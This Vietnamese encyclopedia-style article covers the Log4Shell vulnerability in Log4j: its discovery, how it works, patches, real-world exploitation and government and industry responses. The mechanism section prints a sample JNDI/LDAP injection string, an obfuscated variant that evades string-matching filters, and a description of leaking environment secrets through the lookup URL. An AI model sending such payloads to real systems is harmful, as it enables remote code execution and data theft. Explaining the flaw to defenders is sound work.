Log4Shell (CVE-2021-44228) la mot lo hong zero-day co lien quan đen phuong thuc tan cong thuc thi ma tu xa ton tai trong thu vien Log4j, mot thu vien ghi nhat trinh pho bien cho ngon ngu lap trinh Java. Lo hong nay ton tai ma khong đuoc phat hien tu nam 2013; vao ngay 24 thang 11 nam 2021, Chen Zhaojun, mot thanh vien cua đoi ngu an ninh cua cong ty Alibaba Cloud, đa thong bao kin ve lo hong cho đon vi phat trien va chu quan cua du an Log4j la Quy Phan mem Apache. 
Lo hong đuoc biet đen voi cai ten "Log4Shell" truoc khi đuoc gan ma đinh danh CVE chinh thuc vao ngay 10 thang 12 nam 2021; ten goi nay đuoc thanh vien LunaSec Free Wortley đat đe su dung trong viec theo doi. Log4Shell đuoc Apache cham điem 10 tren thang đo đo nghiem trong CVSS (Common Vulnerability Scoring System) - so điem cao nhat tren thang đanh gia nay. Lo hong nay rat de khai thac, va đa co kha nang anh huong đen hang tram trieu thiet bi.
Log4Shell loi dung viec thu vien Log4j cho phep gui yeu cau đen cac may chu LDAP va JNDI bat ki đe cho phep tin tac chay ma Java tren may chu hoac may tinh ca nhan cua nan nhan, hoac lam ro ri thong tin nhay cam tren cac thiet bi nay. Đoi ngu An ninh Apache đa cong bo danh sach nhung du an phan mem bi anh huong. Cac dich vu thuong mai bi anh huong bao gom Amazon Web Services, Cloudflare, iCloud, Minecraft: Java Edition, Steam, Tencent QQ, va nhieu dich vu khac. Theo Wiz va EY, lo hong nay anh huong đen 93% cac moi truong đien toan đam may doanh nghiep.
Viec lo hong nay đuoc cong bo đa nhan đuoc nhieu phan ung manh tu cac chuyen gia an ninh mang. Cong ty an ninh mang Tenable cho rang lo hong nay la "lo hong lon nhat, nguy hiem nhat tu truoc đen nay," Ars Technica noi rang Log4Shell la "lo hong co the la nguy hiem nhat lich su," va The Washington Post bao rang nhung loi mo ta ve lo hong cua cac chuyen gia an ninh "gan nhu đang mo ta lai mot ngay tan the."


Boi canh Log4j la mot thu vien ma nguon mo cung cap chuc nang ghi lai nhat trinh du lieu cho cac chuong trinh; cac muc nhat trinh nay co the bao gom du lieu do nguoi dung nhap vao. Hien tai thu vien nay đuoc su dung rong rai trong cac ung dung viet bang Java, đac biet la cac ung dung dung trong moi truong doanh nghiep. Thu vien đuoc Ceki Gulcu viet vao nam 2001; ve sau Log4j đuoc chuyen vao danh muc Apache Logging Services, mot du an cua Quy Phan mem Apache. Tom Kellermann, mot thanh vien cua Uy ban An ninh mang cua Tong thong Hoa Ky Barack Obama, đa goi Apache la "mot trong nhung cay tru lon nang đo cay cau ket noi giua hai the gioi cua cac ung dung va moi truong may tinh."


Hanh vi He thong Java Naming and Directory Interface (JNDI) cho phep nguoi dung tra cuu cac đoi tuong Java vao thoi điem chay chuong trinh thong qua mot đuong dan cho truoc. JNDI co the su dung nhieu giao thuc thu muc voi cac quy trinh tra cuu khac nhau, trong đo bao gom giao thuc Lightweight Directory Access Protocol (LDAP), mot giao thuc chung cho phep tai ve du lieu đoi tuong duoi dang URL tu mot may chu tuong thich trong mang cuc bo hoac o bat ky đau tren Internet.
Khi ghi mot xau vao nhat trinh voi thiet lap mac đinh, Log4j 2 thay the ki tu đoi voi cac bieu thuc co cu phap ${tien-to:ten}. Vi du, xau Text: ${java:version} co the đuoc bien đoi thanh Text: Java version 1.7.0_67. Mot bieu thuc tuong thich la ${jndi:<lookup>}; bang cach tra cuu du lieu thong qua LDAP, co the truy van thong tin tu mot URL bat ki va nap thong tin nay duoi dang đoi tuong Java. Vi du, xau ${jndi:ldap://example.com/file} se nap du lieu tu URL tuong ung neu may chu ket noi voi Internet. Bang cach nhap mot xau du lieu đuoc ghi lai trong nhat trinh, tin tac co the nap va chay ma đoc đuoc luu tai mot URL cong khai. Ke ca neu khong the chay đoan ma nhan lai, tin tac van co the truy cap cac du lieu khac, vi du nhu cac bien moi truong bi mat, bang cach khai bao bien trong URL - cac gia tri thuc cua bien se đuoc thay the vao URL va gui đen may chu cua tin tac. Ngoai LDAP ra, cac giao thuc JDNI khac co the bi khai thac khac bao gom LDAPS (phien ban bao mat cao hon cua LDAP), Java Remote Method Invocation (RMI), he thong phan giai ten mien (DNS), va Internet Inter-ORB Protocol (IIOP).
Vi cac yeu cau HTTP thuong đuoc ghi nhat trinh, mot huong tan cong thuong gap la đat xau chua ma đoc trong đuong dan URL cua yeu cau hoac vao mot truong khac, vi du nhu truong User-Agent. Nhung bien phap khac phuc ban đau bao gom phuong phap chan cac yeu cau co noi dung co the chua ma đoc, vi du nhu xau ${jndi. Nhung bien phap duoi dang so khop xau co ban nay co the bi vo hieu bang cach lam roi (obfuscate) yeu cau truoc khi gui: xau ${${lower:j}ndi se đuoc bien đoi thanh ${jndi sau khi ki tu j đuoc bien đoi thanh chu thuong. Ke ca neu noi dung nhap vao khong đuoc ghi vao nhat trinh ngay lap tuc, du lieu co the ve sau đuoc ghi lai trong qua trinh xu ly du lieu, va khi đo noi dung cua yeu cau se đuoc chay.


Khac phuc Ban va khac phuc lo hong nay đuoc them vao ban cap nhat 2.150-rc1 cua Log4j vao ngay 6 thang 12 nam 2021, ba ngay truoc khi lo hong đuoc cong bo cong khai. Lo hong đuoc khac phuc bang cach gioi han cac loai may chu va giao thuc co the su dung cho viec tra cuu thong tin. Cac nha nghien cuu đa phat hien mot lo hong lien quan khac; lo hong CVE-2021-45046 cho phep chay ma tu trong mang cuc bo hoac tu xa trong mot so thiet lap khong mac đinh; lo hong nay đuoc khac phuc o ban 2.16.0 bang cach vo hieu hoa toan bo cac chuc nang su dung JNDI va cac chuc nang tra cuu tin nhan khac. Them hai lo hong nua đuoc phat hien: lo hong CVE-2021-45105 cho phep tan cong tu choi dich vu, đuoc khac phuc o ban 2.17.0, va lo hong thuc thi ma tu xa kho khai thac CVE-2021-44832, đuoc khac phuc o ban 2.17.1. Đoi voi cac phien ban cu hon, cach khac phuc ca hai lo hong la xoa lop org.apache.logging.log4j.core.lookup.JndiLookup khoi classpath; mot bien phap khac đuoc khuyen cao ban đau la đat thiet lap log4j2.formatMsgNoLookups thanh true, nhung bien phap nay khong khac phuc đuoc CVE-2021-45046 va ve sau bi phat hien la khong vo hieu hoa đuoc chuc nang tra cuu tin nhan trong mot so truong hop.
Cac phien ban moi cua Java Runtime Environment (JRE) khac phuc lo hong nay bang cach mac đinh khong cho nap cac đoan ma tu xa; tuy nhien trong mot so ung dung van ton tai cac huong tan cong khac. Mot so cac phuong phap va cong cu nham phat hien cac phien ban Log4j con mac phai lo hong trong cac thu vien Java đa đuoc bien dich va xay dung đa đuoc tao ra.
Voi cac truong hop khong the cap nhat đuoc phan mem vi cac ly do nhu thieu tai nguyen hoac phan mem do ben thu ba quan ly, giai phap thuong đuoc su dung la loc luong du lieu xuat ra tu cac he thong bi anh huong; phuong phap nay đuoc NCC Group va Trung tam An ninh Mang Quoc gia cua Vuong quoc Anh khuyen dung, va đuoc coi la vi du cua phuong phap "bao mat bang chieu sau" (defense in depth). Cac cuoc thu nghiem voi cac he thong tuong lua co kha nang loc luong du lieu xuat ra tu cac phien ban co lo hong cua thu vien Log4j va JRE đa chung minh đuoc su hieu qua cua phuong phap tren.


Khai thac Tin tac co the thong qua Java ma chiem quyen kiem soat cac thiet bi mac phai lo hong. Mot so tin tac loi dung lo hong đe su dung thiet bi cua nan nhan đe đao tien ky thuat so, xay dung botnet, gui thu rac, đat backdoor hoac su dung cho cac hoat đong phi phap khac, vi du nhu đat ma đoc tong tien. Check Point đa theo doi đuoc hang trieu vu tan cong vao nhung ngay sau khi lo hong đuoc cong bo; mot so nha nghien cuu phat hien đuoc hon 100 vu tan cong đuoc thuc hien moi phut, trong đo hon 40% he thong mang may tinh cua doanh nghiep tren toan the gioi bi tan cong.
Theo CEO Cloudflare Matthew Prince, đa co bang chung cua viec khai thac va/hoac truy tim cac thiet bi bi anh huong tu som nhat la ngay 1 thang 12, 9 ngay truoc khi lo hong đuoc cong bo. Theo cong ty an ninh mang Grey Noise, mot so đia chi IP đa quet du lieu trang web tren dien rong đe truy tim cac may chu bi anh huong boi lo hong; mot so botnet cung bat đau quet tim lo hong nay, trong đo co Muhstik vao ngay 10 thang 12, cung voi Mirai va Tsunami. Nhom chuyen tung ma đoc tong tien Conti bi phat hien đang khai thac lo hong nay vao ngay 17 thang 12.
Mot so nhom tin tac đuoc nha nuoc hau thuan tai Trung Quoc va Iran cung đa khai thac lo hong nay theo nguon tin tu Check Point; hien chua ro lo hong nay co đuoc Israel, Nga hay Hoa Ky khai thac truoc khi đuoc cong bo hay khong. Check Point đua tin rang vao ngay 15 thang 12 nam 2021, cac tin tac đuoc Iran hau thuan đa co xam nhap vao he thong mang cua cac doanh nghiep va co quan chinh phu tai Israel.


Phan ung va he qua = Chinh phu =
Giam đoc Co quan An ninh Mang va An ninh Co so Ha tang (Cybersecurity and Infrastructure Security Agency - CISA) Hoa Ky Jen Easterly đa goi lo hong Log4Shell la "mot trong nhung lo hong nghiem trong nhat toi tung thay trong suot su nghiep cua toi, neu khong phai la nghiem trong nhat"; ong giai thich rang hang tram trieu thiet bi đa bi anh huong va keu goi cac nha cung cap thiet bi nhanh chong đay ra cac ban cap nhat phan mem. Cac co quan dan su đuoc thue duoi dien nha thau boi chinh phu Hoa Ky co han cuoi đen ngay 24 thang 12 nam 2021 đe va loi. Vao ngay 4 thang 1, Uy ban Thuong mai Lien bang (FTC) đa tuyen bo se truy cuu cac cong ty khong thuc hien cac buoc cap nhat can thiet đoi voi phan mem su dung Log4j. Trong mot cuoc hop tai Nha Trang, tam quan trong đoi voi an ninh quoc gia cua viec bao tri ve mat an ninh đoi voi cac phan mem ma nguon mo - mot cong viec phan lon do mot so it tinh nguyen vien đam nhan - đuoc nhan manh. Mac du mot so du an phan mem nguon mo thuong co nhieu nguoi theo doi, nhieu du an khac co rat it hoac khong co nguoi đam nhan vai tro đam bao an ninh.
Van phong An toan Thong tin Lien bang Đuc (Bundesamt fur Sicherheit in der Informationstechnik - BSI) đa đat Log4Shell vao muc đo nguy hiem cao nhat trong thang đo cua to chuc nay. To chuc nay cung bao rang đa co mot so vu tan cong dien ra thanh cong va hien van kho đuoc pham vi anh huong cua lo hong nay. Trung tam An ninh Mang Quoc gia Ha Lan (NCSC) đa bat đau cong bo danh sach phan mem bi anh huong.
Trung tam An ninh Mang Canada (CCCS) đa keu goi cac to chuc nen co đong thai khac phuc ngay lap tuc. Co quan Thue vu Canada đa tam ngung dich vu truc tuyen sau khi nhan đuoc tin bao ve lo hong, trong khi Chinh phu Quebec đong gan 4.000 trang web voi muc đich "phong ngua". Bo Quoc phong Bi đa phai vo hieu hoa mot phan he thong mang sau khi tro thanh muc tieu cua mot vu tan cong.
Bo Cong nghiep va Cong nghe thong tin Trung Quoc đa tam thoi đinh chi quan he đoi tac tinh bao an ninh mang đoi voi Alibaba Cloud trong sau thang vi khong thong bao truoc voi chinh phu ve lo hong.


= Doanh nghiep =
Nghien cuu cua Wiz va EY cho thay 93% moi truong đien toan đam may doanh nghiep tren toan the gioi co nguy co bi tan cong bang Log4Shell. 7% cac he thong bi anh huong đang ket noi truc tiep voi mang Internet va co kha nang bi tan cong dien rong. Theo nghien cuu nay, chi co trung binh 45% cac he thong bi anh huong đuoc cap nhat ban va sau 10 ngay ke tu khi lo hong đuoc cong bo (20 thang 12 nam 2021). Du lieu đam may cua Amazon, Google va Microsoft cung bi anh huong boi Log4Shell. Microsoft đa yeu cau nguoi dung Windows va Azure canh giac sau khi theo doi cac tin tac (trong đo bao gom tin tac đuoc nha nuoc hau thuan) do tim cac thiet bi bi anh huong boi lo hong Log4Shell trong thang 12 nam 2021.
Cong ty UKG, mot trong nhung doanh nghiep lon nhat trong linh vuc quan tri nhan su va lao đong, đa tro thanh muc tieu cua mot vu tan cong ma đoc tong tien nham đen cac doanh nghiep lon. UKG cho biet rang to chuc nay khong tim thay bang chung cho rang vu tan cong nay su dung Log4Shell, nhung nha phan tich Allan Liska tu cong ty an ninh mang Record Future cho rang co the co moi lien he giua vu tan cong va lo hong nay.
Trong khi cac doanh nghiep lon bat đau đua ra cac ban va cho  Log4Shell, cac doanh nghiep nho cang gap phai nhieu rui ro hon khi cac tin tac bat đau chuyen huong nham đen cac muc tieu de tan cong hon.


= Moi lo ngai ve quyen rieng tu =
Mot so thiet bi ca nhan đuoc ket noi voi mang Internet, vi du nhu TV thong minh va camera an ninh, cung bi anh huong boi lo hong nay. Mot so cac phan mem đuoc su dung trong cac thiet bi nay co the khong đuoc cap nhat ban va do nha san xuat khong con ho tro nua.


Phan tich Tinh đen ngay 14 thang 12 nam 2021, hon 50% he thong mang doanh nghiep tren toan the gioi đa bi tin tac truy quet, va trong vong 24 gio đa co hon 60 phien ban khac nhau cua lo hong nay đuoc tung ra. Cong ty Check Point Software Technologies đa mo ta tinh hinh luc đo la "mot đai dich khong gian mang" trong mot bai phan tich chi tiet va cho rang nguy co thiet hai tiem an la "khong ke xiet". Mot so loi binh luan đuoc đua ra ban đau đa phong đai so luong cac thu vien bi anh huong, gay ra nhieu truong hop bao cao gia; trong đo, noi bat nhat la truong hop thu vien "log4j-api" bi cho la đa mac lo hong, trong khi nghien cuu ve sau đa chi ra rang chi co thu vien chinh "log4j-core" bi anh huong.
Tap chi Wired đua tin rang mac du nhieu lo hong bao mat truoc đay đa bi "cuong đieu hoa", "lo hong Log4j xung đang voi su cuong đieu hoa nay vi nhieu ly do". Tap chi nay giai thich rang pham vi anh huong lon, đo kho trong viec phat hien va su de dang su dung cua Log4Shell đa tao ra mot "su ket hop cua đo nguy hiem, su đon gian va dien anh huong rong, đu đe lam rung đong cong đong an ninh mang". Wired cung chi ra cac "giai đoan" cua cac tin tac su dung Log4Shell; đau tien la cac nhom đao tien ky thuat so, sau đo la cac nhom buon ban du lieu ban "cho đung" cho tin tac, va cuoi cung la cac tin tac nay su dung lo hong thuc hien cac hanh vi tung ma đoc tong tien, gian điep va tieu huy du lieu.
Amit Yoran, CEO cua Tenable va giam đoc sang lap US-CERT (United States Computer Emergency Readiness Team) đa cho rang "[Log4Shell] chac chan la lo hong lon nhat va nguy hiem nhat tu truoc đen nay". Ong chi ra rang cac vu tan cong co tinh chuyen nghiep đa dien ra rat nhanh sau khi lo hong đuoc cong bo, va noi rang "Chung toi đa phat hien ra rang lo hong nay đuoc su dung cho viec tan cong bang ma đoc tong tien, mot lan nua, đieu nay la mot hoi chuong canh bao lon... Chung toi cung đa nhan đuoc tin bao ve viec tin tac su dung Log4Shell đe pha huy he thong ma khong đoi tien chuoc; chung toi cho rang hanh vi nay kha bat thuong". Nha nghien cuu cap cao cua Sophos la Sean Gallagher noi rang: "That long ma noi, moi đe doa lon nhat o đay la mot so nguoi đa truy cap đuoc vao he thong va gio đang ngoi yen cho thoi, va ke ca neu ban khac phuc đuoc van đe thi ho đa o trong he thong roi... Moi đe doa nay se mai truong ton cung voi Internet."
Theo mot tin bao tu Bloomberg News, cac nha phat trien phan mem tai Apache đa nhan phai su chi trich gay gat vi that bai trong viec khac phuc lo hong sau khi nhan đuoc nhung loi canh bao tai mot hoi nghi an ninh mang vao nam 2016 ve nhung lo hong trong nhieu phan loai phan mem, trong đo co Log4j.


Tham khao